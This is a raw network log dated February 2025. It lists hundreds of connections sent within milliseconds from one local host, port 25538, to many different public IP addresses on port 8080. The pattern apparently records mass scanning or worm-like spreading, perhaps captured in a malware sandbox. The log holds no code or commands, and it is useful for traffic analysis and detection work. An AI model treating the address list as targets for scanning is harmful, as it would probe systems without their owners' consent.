Feb 27, 2025 07:08:36.579660892 CET	25538	8080	192.168.2.14	31.45.220.111
Feb 27, 2025 07:08:36.579663992 CET	40158	80	192.168.2.14	95.83.246.242
Feb 27, 2025 07:08:36.579663992 CET	40158	80	192.168.2.14	95.83.246.242
Feb 27, 2025 07:08:36.579663992 CET	25538	8080	192.168.2.14	31.115.138.97
Feb 27, 2025 07:08:36.579665899 CET	25538	8080	192.168.2.14	95.175.159.43
Feb 27, 2025 07:08:36.579683065 CET	25538	8080	192.168.2.14	31.42.112.57
Feb 27, 2025 07:08:36.579683065 CET	25538	8080	192.168.2.14	62.23.207.135
Feb 27, 2025 07:08:36.579691887 CET	25538	8080	192.168.2.14	94.24.217.236
Feb 27, 2025 07:08:36.579699039 CET	25538	8080	192.168.2.14	85.66.101.82
Feb 27, 2025 07:08:36.579706907 CET	25538	8080	192.168.2.14	85.60.232.192
Feb 27, 2025 07:08:36.579720020 CET	25538	8080	192.168.2.14	62.131.102.94
Feb 27, 2025 07:08:36.579720020 CET	25538	8080	192.168.2.14	31.184.51.214
Feb 27, 2025 07:08:36.579731941 CET	25538	8080	192.168.2.14	31.69.8.26
Feb 27, 2025 07:08:36.579741955 CET	25538	8080	192.168.2.14	31.110.127.240
Feb 27, 2025 07:08:36.579775095 CET	25538	8080	192.168.2.14	85.32.122.26
Feb 27, 2025 07:08:36.579776049 CET	25538	8080	192.168.2.14	62.5.109.164
Feb 27, 2025 07:08:36.579791069 CET	25538	8080	192.168.2.14	31.170.174.55
Feb 27, 2025 07:08:36.579793930 CET	25538	8080	192.168.2.14	94.73.102.44
Feb 27, 2025 07:08:36.579807997 CET	25538	8080	192.168.2.14	95.128.104.70
Feb 27, 2025 07:08:36.579809904 CET	25538	8080	192.168.2.14	85.186.92.199
Feb 27, 2025 07:08:36.579827070 CET	25538	8080	192.168.2.14	95.162.147.127
Feb 27, 2025 07:08:36.579827070 CET	25538	8080	192.168.2.14	62.157.169.151
Feb 27, 2025 07:08:36.579853058 CET	25538	8080	192.168.2.14	95.126.114.57
Feb 27, 2025 07:08:36.579864979 CET	25538	8080	192.168.2.14	62.134.17.169
Feb 27, 2025 07:08:36.579875946 CET	25538	8080	192.168.2.14	85.195.192.169
Feb 27, 2025 07:08:36.579875946 CET	25538	8080	192.168.2.14	31.164.170.175
Feb 27, 2025 07:08:36.579888105 CET	25538	8080	192.168.2.14	31.243.117.39
Feb 27, 2025 07:08:36.579889059 CET	25538	8080	192.168.2.14	62.230.241.235
Feb 27, 2025 07:08:36.579905033 CET	25538	8080	192.168.2.14	95.74.181.191
Feb 27, 2025 07:08:36.579909086 CET	25538	8080	192.168.2.14	95.252.90.233
Feb 27, 2025 07:08:36.579938889 CET	25538	8080	192.168.2.14	85.50.159.100
Feb 27, 2025 07:08:36.579938889 CET	40418	80	192.168.2.14	95.83.246.242
Feb 27, 2025 07:08:36.579948902 CET	25538	8080	192.168.2.14	95.250.197.6
Feb 27, 2025 07:08:36.579960108 CET	25538	8080	192.168.2.14	95.7.134.151
Feb 27, 2025 07:08:36.579960108 CET	25538	8080	192.168.2.14	62.78.8.65
Feb 27, 2025 07:08:36.579978943 CET	25538	8080	192.168.2.14	62.30.142.101
Feb 27, 2025 07:08:36.579982042 CET	25538	8080	192.168.2.14	95.89.252.119
Feb 27, 2025 07:08:36.579994917 CET	25538	8080	192.168.2.14	94.0.85.56
Feb 27, 2025 07:08:36.579996109 CET	25538	8080	192.168.2.14	85.196.36.170
Feb 27, 2025 07:08:36.579996109 CET	25538	8080	192.168.2.14	95.6.104.154
Feb 27, 2025 07:08:36.580030918 CET	25538	8080	192.168.2.14	85.227.159.47
Feb 27, 2025 07:08:36.580034018 CET	25538	8080	192.168.2.14	85.135.129.65
Feb 27, 2025 07:08:36.580034018 CET	25538	8080	192.168.2.14	31.123.44.201
Feb 27, 2025 07:08:36.580053091 CET	25538	8080	192.168.2.14	85.42.218.170
Feb 27, 2025 07:08:36.580060959 CET	25538	8080	192.168.2.14	62.65.88.220
Feb 27, 2025 07:08:36.580070019 CET	25538	8080	192.168.2.14	85.159.83.41
Feb 27, 2025 07:08:36.580070019 CET	25538	8080	192.168.2.14	94.149.158.127
Feb 27, 2025 07:08:36.580086946 CET	25538	8080	192.168.2.14	94.42.252.105
Feb 27, 2025 07:08:36.580096960 CET	25538	8080	192.168.2.14	85.98.114.74
Feb 27, 2025 07:08:36.580099106 CET	25538	8080	192.168.2.14	31.102.87.40
Feb 27, 2025 07:08:36.580130100 CET	25538	8080	192.168.2.14	94.12.165.27
Feb 27, 2025 07:08:36.580131054 CET	25538	8080	192.168.2.14	94.2.60.185
Feb 27, 2025 07:08:36.580147982 CET	25538	8080	192.168.2.14	31.126.199.168
Feb 27, 2025 07:08:36.580156088 CET	25538	8080	192.168.2.14	62.68.33.133
Feb 27, 2025 07:08:36.580156088 CET	25538	8080	192.168.2.14	85.222.1.55
Feb 27, 2025 07:08:36.580172062 CET	25538	8080	192.168.2.14	95.126.168.196
Feb 27, 2025 07:08:36.580178022 CET	25538	8080	192.168.2.14	94.2.210.94
Feb 27, 2025 07:08:36.580192089 CET	25538	8080	192.168.2.14	95.191.192.178
Feb 27, 2025 07:08:36.580228090 CET	25538	8080	192.168.2.14	95.109.254.108
Feb 27, 2025 07:08:36.580229044 CET	25538	8080	192.168.2.14	31.9.129.34
Feb 27, 2025 07:08:36.580240011 CET	25538	8080	192.168.2.14	95.248.53.99
Feb 27, 2025 07:08:36.580239058 CET	25538	8080	192.168.2.14	31.133.7.11
Feb 27, 2025 07:08:36.580239058 CET	25538	8080	192.168.2.14	95.252.224.169
Feb 27, 2025 07:08:36.580239058 CET	25538	8080	192.168.2.14	94.4.18.42
Feb 27, 2025 07:08:36.580251932 CET	25538	8080	192.168.2.14	95.148.244.155
Feb 27, 2025 07:08:36.580280066 CET	25538	8080	192.168.2.14	62.16.171.202
Feb 27, 2025 07:08:36.580280066 CET	25538	8080	192.168.2.14	62.79.3.103
Feb 27, 2025 07:08:36.580281019 CET	25538	8080	192.168.2.14	85.211.155.146
Feb 27, 2025 07:08:36.580281973 CET	25538	8080	192.168.2.14	62.75.6.110
Feb 27, 2025 07:08:36.580286980 CET	25538	8080	192.168.2.14	31.62.76.139
Feb 27, 2025 07:08:36.580293894 CET	25538	8080	192.168.2.14	31.30.33.252
Feb 27, 2025 07:08:36.580293894 CET	25538	8080	192.168.2.14	62.163.43.145
Feb 27, 2025 07:08:36.580295086 CET	25538	8080	192.168.2.14	95.150.192.162
Feb 27, 2025 07:08:36.580296993 CET	25538	8080	192.168.2.14	85.159.68.131
Feb 27, 2025 07:08:36.580328941 CET	25538	8080	192.168.2.14	95.132.100.164
Feb 27, 2025 07:08:36.580328941 CET	25538	8080	192.168.2.14	31.202.94.97
Feb 27, 2025 07:08:36.580331087 CET	25538	8080	192.168.2.14	31.252.96.171
Feb 27, 2025 07:08:36.580331087 CET	25538	8080	192.168.2.14	94.247.60.117
Feb 27, 2025 07:08:36.580343008 CET	25538	8080	192.168.2.14	94.7.27.168
Feb 27, 2025 07:08:36.580347061 CET	25538	8080	192.168.2.14	31.209.105.160
Feb 27, 2025 07:08:36.580359936 CET	25538	8080	192.168.2.14	62.41.101.64
Feb 27, 2025 07:08:36.580363989 CET	25538	8080	192.168.2.14	94.79.113.176
Feb 27, 2025 07:08:36.580373049 CET	25538	8080	192.168.2.14	31.42.155.69
Feb 27, 2025 07:08:36.580373049 CET	25538	8080	192.168.2.14	95.9.219.248
Feb 27, 2025 07:08:36.580398083 CET	25538	8080	192.168.2.14	31.193.155.187
Feb 27, 2025 07:08:36.580398083 CET	25538	8080	192.168.2.14	62.43.87.92
Feb 27, 2025 07:08:36.580405951 CET	25538	8080	192.168.2.14	95.197.138.108
Feb 27, 2025 07:08:36.580411911 CET	25538	8080	192.168.2.14	85.211.252.106
Feb 27, 2025 07:08:36.580429077 CET	25538	8080	192.168.2.14	31.145.61.240
Feb 27, 2025 07:08:36.580430984 CET	25538	8080	192.168.2.14	62.193.72.56
Feb 27, 2025 07:08:36.580441952 CET	25538	8080	192.168.2.14	95.63.68.62
Feb 27, 2025 07:08:36.580447912 CET	25538	8080	192.168.2.14	85.146.60.152
Feb 27, 2025 07:08:36.580457926 CET	25538	8080	192.168.2.14	62.91.134.226
Feb 27, 2025 07:08:36.580468893 CET	25538	8080	192.168.2.14	85.25.222.109
Feb 27, 2025 07:08:36.580476999 CET	25538	8080	192.168.2.14	62.228.64.63
Feb 27, 2025 07:08:36.580476999 CET	25538	8080	192.168.2.14	95.44.26.66
Feb 27, 2025 07:08:36.580497980 CET	25538	8080	192.168.2.14	85.204.103.198
Feb 27, 2025 07:08:36.580497980 CET	25538	8080	192.168.2.14	31.157.51.7
Feb 27, 2025 07:08:36.580498934 CET	25538	8080	192.168.2.14	94.146.117.162
Feb 27, 2025 07:08:36.580508947 CET	25538	8080	192.168.2.14	62.54.177.18
Feb 27, 2025 07:08:36.580523014 CET	25538	8080	192.168.2.14	94.152.15.34
Feb 27, 2025 07:08:36.580526114 CET	25538	8080	192.168.2.14	94.182.187.40
Feb 27, 2025 07:08:36.580538988 CET	25538	8080	192.168.2.14	31.198.105.78
Feb 27, 2025 07:08:36.580540895 CET	25538	8080	192.168.2.14	31.63.230.141
Feb 27, 2025 07:08:36.580559015 CET	25538	8080	192.168.2.14	62.179.165.252
Feb 27, 2025 07:08:36.580565929 CET	25538	8080	192.168.2.14	62.229.206.204
Feb 27, 2025 07:08:36.580573082 CET	25538	8080	192.168.2.14	95.195.194.3
Feb 27, 2025 07:08:36.580575943 CET	25538	8080	192.168.2.14	31.226.68.186
Feb 27, 2025 07:08:36.580586910 CET	25538	8080	192.168.2.14	85.162.173.255
Feb 27, 2025 07:08:36.580586910 CET	25538	8080	192.168.2.14	95.204.170.96
Feb 27, 2025 07:08:36.580595016 CET	25538	8080	192.168.2.14	62.79.108.6
Feb 27, 2025 07:08:36.580606937 CET	25538	8080	192.168.2.14	94.115.166.121
Feb 27, 2025 07:08:36.580609083 CET	25538	8080	192.168.2.14	85.106.184.231
Feb 27, 2025 07:08:36.580626965 CET	25538	8080	192.168.2.14	62.178.130.25
Feb 27, 2025 07:08:36.580629110 CET	25538	8080	192.168.2.14	95.121.4.129
Feb 27, 2025 07:08:36.580632925 CET	25538	8080	192.168.2.14	95.21.171.55
Feb 27, 2025 07:08:36.580643892 CET	25538	8080	192.168.2.14	85.240.227.167
Feb 27, 2025 07:08:36.580645084 CET	25538	8080	192.168.2.14	31.8.94.188
Feb 27, 2025 07:08:36.580657005 CET	25538	8080	192.168.2.14	85.61.113.72
Feb 27, 2025 07:08:36.580660105 CET	25538	8080	192.168.2.14	85.73.6.131
Feb 27, 2025 07:08:36.580672026 CET	25538	8080	192.168.2.14	31.233.115.147
Feb 27, 2025 07:08:36.580674887 CET	25538	8080	192.168.2.14	85.2.144.189
Feb 27, 2025 07:08:36.580689907 CET	25538	8080	192.168.2.14	95.14.165.118
Feb 27, 2025 07:08:36.580691099 CET	25538	8080	192.168.2.14	95.199.229.23
Feb 27, 2025 07:08:36.580696106 CET	25538	8080	192.168.2.14	31.216.236.241
Feb 27, 2025 07:08:36.580696106 CET	25538	8080	192.168.2.14	85.134.91.10
Feb 27, 2025 07:08:36.580715895 CET	25538	8080	192.168.2.14	94.70.56.11
Feb 27, 2025 07:08:36.580717087 CET	25538	8080	192.168.2.14	85.50.127.19
Feb 27, 2025 07:08:36.580723047 CET	25538	8080	192.168.2.14	95.17.246.78
Feb 27, 2025 07:08:36.580737114 CET	25538	8080	192.168.2.14	31.64.236.131
Feb 27, 2025 07:08:36.580738068 CET	25538	8080	192.168.2.14	31.1.27.108
Feb 27, 2025 07:08:36.580748081 CET	25538	8080	192.168.2.14	85.73.66.111
Feb 27, 2025 07:08:36.580754995 CET	25538	8080	192.168.2.14	31.219.174.95
Feb 27, 2025 07:08:36.580758095 CET	25538	8080	192.168.2.14	85.178.212.181
Feb 27, 2025 07:08:36.580771923 CET	25538	8080	192.168.2.14	62.49.161.109
Feb 27, 2025 07:08:36.580781937 CET	25538	8080	192.168.2.14	62.26.71.107
Feb 27, 2025 07:08:36.580781937 CET	25538	8080	192.168.2.14	62.71.79.198
Feb 27, 2025 07:08:36.580796003 CET	25538	8080	192.168.2.14	62.156.34.85
Feb 27, 2025 07:08:36.580796003 CET	25538	8080	192.168.2.14	95.8.192.113
Feb 27, 2025 07:08:36.580804110 CET	25538	8080	192.168.2.14	31.40.29.55
Feb 27, 2025 07:08:36.580815077 CET	25538	8080	192.168.2.14	94.151.188.226
Feb 27, 2025 07:08:36.580817938 CET	25538	8080	192.168.2.14	85.166.102.177
Feb 27, 2025 07:08:36.580831051 CET	25538	8080	192.168.2.14	85.60.109.17
Feb 27, 2025 07:08:36.580831051 CET	25538	8080	192.168.2.14	62.22.212.4
Feb 27, 2025 07:08:36.580847979 CET	25538	8080	192.168.2.14	85.214.1.47
Feb 27, 2025 07:08:36.580857038 CET	25538	8080	192.168.2.14	94.182.2.221
Feb 27, 2025 07:08:36.580867052 CET	25538	8080	192.168.2.14	62.107.190.127
Feb 27, 2025 07:08:36.580876112 CET	25538	8080	192.168.2.14	62.136.221.112
Feb 27, 2025 07:08:36.580877066 CET	25538	8080	192.168.2.14	94.89.104.49
Feb 27, 2025 07:08:36.580892086 CET	25538	8080	192.168.2.14	31.139.13.221
Feb 27, 2025 07:08:36.580902100 CET	25538	8080	192.168.2.14	31.238.250.179
Feb 27, 2025 07:08:36.580903053 CET	25538	8080	192.168.2.14	31.96.129.251
Feb 27, 2025 07:08:36.580909014 CET	25538	8080	192.168.2.14	31.166.244.24
Feb 27, 2025 07:08:36.580916882 CET	25538	8080	192.168.2.14	31.48.57.160
Feb 27, 2025 07:08:36.580924988 CET	25538	8080	192.168.2.14	95.159.155.187
Feb 27, 2025 07:08:36.580938101 CET	25538	8080	192.168.2.14	62.25.206.201
Feb 27, 2025 07:08:36.580945969 CET	25538	8080	192.168.2.14	62.192.82.188
Feb 27, 2025 07:08:36.580955982 CET	25538	8080	192.168.2.14	94.142.253.16
Feb 27, 2025 07:08:36.580956936 CET	25538	8080	192.168.2.14	94.4.1.90
Feb 27, 2025 07:08:36.580970049 CET	25538	8080	192.168.2.14	31.15.134.56
Feb 27, 2025 07:08:36.580981016 CET	25538	8080	192.168.2.14	31.33.221.101
Feb 27, 2025 07:08:36.580981970 CET	25538	8080	192.168.2.14	95.65.220.83
Feb 27, 2025 07:08:36.581001043 CET	25538	8080	192.168.2.14	31.182.65.111
Feb 27, 2025 07:08:36.581005096 CET	25538	8080	192.168.2.14	62.129.251.151
Feb 27, 2025 07:08:36.581005096 CET	25538	8080	192.168.2.14	94.63.225.24
Feb 27, 2025 07:08:36.581013918 CET	25538	8080	192.168.2.14	85.204.122.247
Feb 27, 2025 07:08:36.581016064 CET	25538	8080	192.168.2.14	95.92.186.124
Feb 27, 2025 07:08:36.581033945 CET	25538	8080	192.168.2.14	94.42.181.57
Feb 27, 2025 07:08:36.581036091 CET	25538	8080	192.168.2.14	62.110.189.227
Feb 27, 2025 07:08:36.581051111 CET	25538	8080	192.168.2.14	31.82.246.167
Feb 27, 2025 07:08:36.581053019 CET	25538	8080	192.168.2.14	95.229.151.50
Feb 27, 2025 07:08:36.581053019 CET	25538	8080	192.168.2.14	95.154.162.160
Feb 27, 2025 07:08:36.581063986 CET	25538	8080	192.168.2.14	85.92.244.20
Feb 27, 2025 07:08:36.581068993 CET	25538	8080	192.168.2.14	31.223.95.155
Feb 27, 2025 07:08:36.581084013 CET	25538	8080	192.168.2.14	62.37.237.137
Feb 27, 2025 07:08:36.581087112 CET	25538	8080	192.168.2.14	95.64.193.9
Feb 27, 2025 07:08:36.581101894 CET	25538	8080	192.168.2.14	85.219.169.20
Feb 27, 2025 07:08:36.581104994 CET	25538	8080	192.168.2.14	85.198.7.113
Feb 27, 2025 07:08:36.581116915 CET	25538	8080	192.168.2.14	31.81.198.154
Feb 27, 2025 07:08:36.581116915 CET	25538	8080	192.168.2.14	85.196.24.158
Feb 27, 2025 07:08:36.581136942 CET	25538	8080	192.168.2.14	85.89.141.32
Feb 27, 2025 07:08:36.581136942 CET	25538	8080	192.168.2.14	62.194.226.181
Feb 27, 2025 07:08:36.581137896 CET	25538	8080	192.168.2.14	85.209.20.162
Feb 27, 2025 07:08:36.581145048 CET	25538	8080	192.168.2.14	95.48.181.219
Feb 27, 2025 07:08:36.581162930 CET	25538	8080	192.168.2.14	85.179.137.193
Feb 27, 2025 07:08:36.581163883 CET	25538	8080	192.168.2.14	31.182.7.252
Feb 27, 2025 07:08:36.581171989 CET	25538	8080	192.168.2.14	94.83.242.40
Feb 27, 2025 07:08:36.581192017 CET	25538	8080	192.168.2.14	31.23.213.19
Feb 27, 2025 07:08:36.581197977 CET	25538	8080	192.168.2.14	31.184.64.204
Feb 27, 2025 07:08:36.581201077 CET	25538	8080	192.168.2.14	31.86.152.66
Feb 27, 2025 07:08:36.581201077 CET	25538	8080	192.168.2.14	85.85.236.25
Feb 27, 2025 07:08:36.581217051 CET	25538	8080	192.168.2.14	85.89.47.92
Feb 27, 2025 07:08:36.581218004 CET	25538	8080	192.168.2.14	94.70.67.70
Feb 27, 2025 07:08:36.581231117 CET	25538	8080	192.168.2.14	94.186.87.218
Feb 27, 2025 07:08:36.581233025 CET	25538	8080	192.168.2.14	62.11.146.182
Feb 27, 2025 07:08:36.581248999 CET	25538	8080	192.168.2.14	94.149.135.185
Feb 27, 2025 07:08:36.581254959 CET	25538	8080	192.168.2.14	94.116.141.178
Feb 27, 2025 07:08:36.581267118 CET	25538	8080	192.168.2.14	85.115.126.91
Feb 27, 2025 07:08:36.581269979 CET	25538	8080	192.168.2.14	94.166.181.85
Feb 27, 2025 07:08:36.581285000 CET	25538	8080	192.168.2.14	95.166.245.224
Feb 27, 2025 07:08:36.581285000 CET	25538	8080	192.168.2.14	31.232.89.223
Feb 27, 2025 07:08:36.581288099 CET	25538	8080	192.168.2.14	94.202.40.34
Feb 27, 2025 07:08:36.581294060 CET	8080	25538	94.175.175.164	192.168.2.14
Feb 27, 2025 07:08:36.581305027 CET	25538	8080	192.168.2.14	95.155.190.18
Feb 27, 2025 07:08:36.581305027 CET	25538	8080	192.168.2.14	62.187.74.53
Feb 27, 2025 07:08:36.581305981 CET	25538	8080	192.168.2.14	85.79.11.242
Feb 27, 2025 07:08:36.581317902 CET	25538	8080	192.168.2.14	85.116.28.94
Feb 27, 2025 07:08:36.581329107 CET	25538	8080	192.168.2.14	94.250.214.40
Feb 27, 2025 07:08:36.581329107 CET	25538	8080	192.168.2.14	94.175.175.164
Feb 27, 2025 07:08:36.581329107 CET	25538	8080	192.168.2.14	31.148.223.160
Feb 27, 2025 07:08:36.581329107 CET	25538	8080	192.168.2.14	95.43.247.23
Feb 27, 2025 07:08:36.581336975 CET	25538	8080	192.168.2.14	85.236.12.112
Feb 27, 2025 07:08:36.581341028 CET	25538	8080	192.168.2.14	95.20.125.28
Feb 27, 2025 07:08:36.581353903 CET	25538	8080	192.168.2.14	62.237.36.8
Feb 27, 2025 07:08:36.581363916 CET	25538	8080	192.168.2.14	31.97.111.26
Feb 27, 2025 07:08:36.581363916 CET	25538	8080	192.168.2.14	94.147.183.16
Feb 27, 2025 07:08:36.581374884 CET	25538	8080	192.168.2.14	31.207.246.156
Feb 27, 2025 07:08:36.581377029 CET	25538	8080	192.168.2.14	85.82.136.92
Feb 27, 2025 07:08:36.581393003 CET	25538	8080	192.168.2.14	85.0.240.28
Feb 27, 2025 07:08:36.581401110 CET	25538	8080	192.168.2.14	85.64.209.98
Feb 27, 2025 07:08:36.581408024 CET	25538	8080	192.168.2.14	95.46.189.250
Feb 27, 2025 07:08:36.581413031 CET	25538	8080	192.168.2.14	62.48.133.205
Feb 27, 2025 07:08:36.581413984 CET	25538	8080	192.168.2.14	31.54.128.255
Feb 27, 2025 07:08:36.581420898 CET	25538	8080	192.168.2.14	62.231.182.26
Feb 27, 2025 07:08:36.581439972 CET	25538	8080	192.168.2.14	31.198.45.24
Feb 27, 2025 07:08:36.581444025 CET	25538	8080	192.168.2.14	31.248.137.38
Feb 27, 2025 07:08:36.581449986 CET	25538	8080	192.168.2.14	85.109.182.23
Feb 27, 2025 07:08:36.581460953 CET	25538	8080	192.168.2.14	62.114.4.162
Feb 27, 2025 07:08:36.581463099 CET	25538	8080	192.168.2.14	85.94.121.196
Feb 27, 2025 07:08:36.581470966 CET	25538	8080	192.168.2.14	62.150.240.201
Feb 27, 2025 07:08:36.581478119 CET	25538	8080	192.168.2.14	94.228.64.147
Feb 27, 2025 07:08:36.581487894 CET	25538	8080	192.168.2.14	85.84.16.128
Feb 27, 2025 07:08:36.581492901 CET	25538	8080	192.168.2.14	85.50.0.150
Feb 27, 2025 07:08:36.581506968 CET	25538	8080	192.168.2.14	94.231.21.190
Feb 27, 2025 07:08:36.581513882 CET	25538	8080	192.168.2.14	31.152.91.40
Feb 27, 2025 07:08:36.581516027 CET	25538	8080	192.168.2.14	62.123.222.28
Feb 27, 2025 07:08:36.581530094 CET	25538	8080	192.168.2.14	95.132.120.97
Feb 27, 2025 07:08:36.581538916 CET	25538	8080	192.168.2.14	94.215.172.249
Feb 27, 2025 07:08:36.581546068 CET	25538	8080	192.168.2.14	95.99.107.135
Feb 27, 2025 07:08:36.581547022 CET	25538	8080	192.168.2.14	94.202.1.53
Feb 27, 2025 07:08:36.581562996 CET	25538	8080	192.168.2.14	85.231.102.148
Feb 27, 2025 07:08:36.581572056 CET	25538	8080	192.168.2.14	95.149.54.239
Feb 27, 2025 07:08:36.581573963 CET	25538	8080	192.168.2.14	85.58.191.158
Feb 27, 2025 07:08:36.581581116 CET	25538	8080	192.168.2.14	85.122.75.16
Feb 27, 2025 07:08:36.581595898 CET	25538	8080	192.168.2.14	62.134.74.110
Feb 27, 2025 07:08:36.581602097 CET	25538	8080	192.168.2.14	95.88.156.141
Feb 27, 2025 07:08:36.581604004 CET	25538	8080	192.168.2.14	31.65.226.58
Feb 27, 2025 07:08:36.581618071 CET	25538	8080	192.168.2.14	95.4.10.201
Feb 27, 2025 07:08:36.581626892 CET	25538	8080	192.168.2.14	62.129.153.151
Feb 27, 2025 07:08:36.581633091 CET	25538	8080	192.168.2.14	31.187.157.138
Feb 27, 2025 07:08:36.581649065 CET	25538	8080	192.168.2.14	31.25.3.80
Feb 27, 2025 07:08:36.581654072 CET	25538	8080	192.168.2.14	94.18.26.52
Feb 27, 2025 07:08:36.581665039 CET	25538	8080	192.168.2.14	31.215.135.240
Feb 27, 2025 07:08:36.581701994 CET	25538	8080	192.168.2.14	31.9.176.240
Feb 27, 2025 07:08:36.581702948 CET	25538	8080	192.168.2.14	85.59.128.93
Feb 27, 2025 07:08:36.581701994 CET	25538	8080	192.168.2.14	62.153.237.51
Feb 27, 2025 07:08:36.581702948 CET	25538	8080	192.168.2.14	94.211.242.135
Feb 27, 2025 07:08:36.581705093 CET	25538	8080	192.168.2.14	62.80.143.127
Feb 27, 2025 07:08:36.581701994 CET	25538	8080	192.168.2.14	31.124.25.250
Feb 27, 2025 07:08:36.581705093 CET	25538	8080	192.168.2.14	94.8.112.198
Feb 27, 2025 07:08:36.581708908 CET	25538	8080	192.168.2.14	95.126.0.87
Feb 27, 2025 07:08:36.581708908 CET	25538	8080	192.168.2.14	85.35.20.90
Feb 27, 2025 07:08:36.581713915 CET	25538	8080	192.168.2.14	95.32.194.155
Feb 27, 2025 07:08:36.581716061 CET	25538	8080	192.168.2.14	31.41.198.78
Feb 27, 2025 07:08:36.581716061 CET	25538	8080	192.168.2.14	94.214.118.247
Feb 27, 2025 07:08:36.581716061 CET	25538	8080	192.168.2.14	31.28.143.11
Feb 27, 2025 07:08:36.581731081 CET	25538	8080	192.168.2.14	95.254.204.211
Feb 27, 2025 07:08:36.581733942 CET	25538	8080	192.168.2.14	31.112.113.130
Feb 27, 2025 07:08:36.581743956 CET	25538	8080	192.168.2.14	31.68.37.117
Feb 27, 2025 07:08:36.581747055 CET	25538	8080	192.168.2.14	31.93.77.78
Feb 27, 2025 07:08:36.581763029 CET	25538	8080	192.168.2.14	85.3.228.215
Feb 27, 2025 07:08:36.581763983 CET	25538	8080	192.168.2.14	95.31.247.120
Feb 27, 2025 07:08:36.581764936 CET	25538	8080	192.168.2.14	31.7.168.148
Feb 27, 2025 07:08:36.581783056 CET	25538	8080	192.168.2.14	94.105.46.203
Feb 27, 2025 07:08:36.581783056 CET	25538	8080	192.168.2.14	31.31.84.140
Feb 27, 2025 07:08:36.581793070 CET	25538	8080	192.168.2.14	95.187.24.45
Feb 27, 2025 07:08:36.581794977 CET	25538	8080	192.168.2.14	31.241.67.93
Feb 27, 2025 07:08:36.581809998 CET	25538	8080	192.168.2.14	94.98.187.55
Feb 27, 2025 07:08:36.581810951 CET	25538	8080	192.168.2.14	31.179.123.46
Feb 27, 2025 07:08:36.581814051 CET	25538	8080	192.168.2.14	62.138.122.182
Feb 27, 2025 07:08:36.581820965 CET	25538	8080	192.168.2.14	85.223.195.138
Feb 27, 2025 07:08:36.581839085 CET	25538	8080	192.168.2.14	62.82.199.127
Feb 27, 2025 07:08:36.581841946 CET	25538	8080	192.168.2.14	62.181.26.14
Feb 27, 2025 07:08:36.581856966 CET	25538	8080	192.168.2.14	62.167.108.29
Feb 27, 2025 07:08:36.581859112 CET	25538	8080	192.168.2.14	31.38.212.221
Feb 27, 2025 07:08:36.581868887 CET	25538	8080	192.168.2.14	95.173.33.16
Feb 27, 2025 07:08:36.581875086 CET	25538	8080	192.168.2.14	95.243.224.133
Feb 27, 2025 07:08:36.581887007 CET	25538	8080	192.168.2.14	31.212.166.170
Feb 27, 2025 07:08:36.581896067 CET	25538	8080	192.168.2.14	62.53.236.19
Feb 27, 2025 07:08:36.581904888 CET	25538	8080	192.168.2.14	94.148.144.160
Feb 27, 2025 07:08:36.581904888 CET	25538	8080	192.168.2.14	62.157.114.222
Feb 27, 2025 07:08:36.581918001 CET	25538	8080	192.168.2.14	31.86.218.80
Feb 27, 2025 07:08:36.581918001 CET	25538	8080	192.168.2.14	94.234.8.163
Feb 27, 2025 07:08:36.581929922 CET	25538	8080	192.168.2.14	85.114.77.163
Feb 27, 2025 07:08:36.581933022 CET	25538	8080	192.168.2.14	94.113.25.98
Feb 27, 2025 07:08:36.581945896 CET	25538	8080	192.168.2.14	31.36.16.45
Feb 27, 2025 07:08:36.581949949 CET	25538	8080	192.168.2.14	62.173.18.249
Feb 27, 2025 07:08:36.581962109 CET	25538	8080	192.168.2.14	85.0.188.128
Feb 27, 2025 07:08:36.581967115 CET	25538	8080	192.168.2.14	95.120.23.112
Feb 27, 2025 07:08:36.581983089 CET	25538	8080	192.168.2.14	62.11.176.41
Feb 27, 2025 07:08:36.581984997 CET	25538	8080	192.168.2.14	95.250.104.68
Feb 27, 2025 07:08:36.581990004 CET	25538	8080	192.168.2.14	85.120.208.235
Feb 27, 2025 07:08:36.582007885 CET	25538	8080	192.168.2.14	95.194.174.135
Feb 27, 2025 07:08:36.582010984 CET	25538	8080	192.168.2.14	85.213.211.23
Feb 27, 2025 07:08:36.582020998 CET	25538	8080	192.168.2.14	62.7.190.36
Feb 27, 2025 07:08:36.582022905 CET	25538	8080	192.168.2.14	85.151.1.165
Feb 27, 2025 07:08:36.582035065 CET	25538	8080	192.168.2.14	85.148.60.157
Feb 27, 2025 07:08:36.582035065 CET	25538	8080	192.168.2.14	85.120.202.10
Feb 27, 2025 07:08:36.582045078 CET	25538	8080	192.168.2.14	95.248.64.198
Feb 27, 2025 07:08:36.582048893 CET	25538	8080	192.168.2.14	31.18.83.160
Feb 27, 2025 07:08:36.582058907 CET	25538	8080	192.168.2.14	94.85.187.34
Feb 27, 2025 07:08:36.582068920 CET	25538	8080	192.168.2.14	62.118.180.67
Feb 27, 2025 07:08:36.582071066 CET	25538	8080	192.168.2.14	85.59.59.128
Feb 27, 2025 07:08:36.582077980 CET	25538	8080	192.168.2.14	95.65.181.105
Feb 27, 2025 07:08:36.582098007 CET	25538	8080	192.168.2.14	85.141.203.54
Feb 27, 2025 07:08:36.582099915 CET	25538	8080	192.168.2.14	94.231.182.226
Feb 27, 2025 07:08:36.582109928 CET	25538	8080	192.168.2.14	95.109.89.145
Feb 27, 2025 07:08:36.582118988 CET	25538	8080	192.168.2.14	85.95.196.175
Feb 27, 2025 07:08:36.582123995 CET	25538	8080	192.168.2.14	95.117.121.63
Feb 27, 2025 07:08:36.582128048 CET	25538	8080	192.168.2.14	94.231.220.14
Feb 27, 2025 07:08:36.582146883 CET	25538	8080	192.168.2.14	94.180.3.25
Feb 27, 2025 07:08:36.582149982 CET	25538	8080	192.168.2.14	95.54.78.129
Feb 27, 2025 07:08:36.582154036 CET	25538	8080	192.168.2.14	31.207.95.45
Feb 27, 2025 07:08:36.582156897 CET	25538	8080	192.168.2.14	95.184.53.245
Feb 27, 2025 07:08:36.582168102 CET	25538	8080	192.168.2.14	62.254.228.154
Feb 27, 2025 07:08:36.582169056 CET	25538	8080	192.168.2.14	95.127.69.68
Feb 27, 2025 07:08:36.582175970 CET	25538	8080	192.168.2.14	31.235.230.233
Feb 27, 2025 07:08:36.582186937 CET	25538	8080	192.168.2.14	31.94.72.223
Feb 27, 2025 07:08:36.582195997 CET	25538	8080	192.168.2.14	94.109.216.217
Feb 27, 2025 07:08:36.582200050 CET	25538	8080	192.168.2.14	94.135.208.3
Feb 27, 2025 07:08:36.582207918 CET	25538	8080	192.168.2.14	31.254.22.41
Feb 27, 2025 07:08:36.582214117 CET	25538	8080	192.168.2.14	62.95.183.154
Feb 27, 2025 07:08:36.582227945 CET	25538	8080	192.168.2.14	62.180.187.59
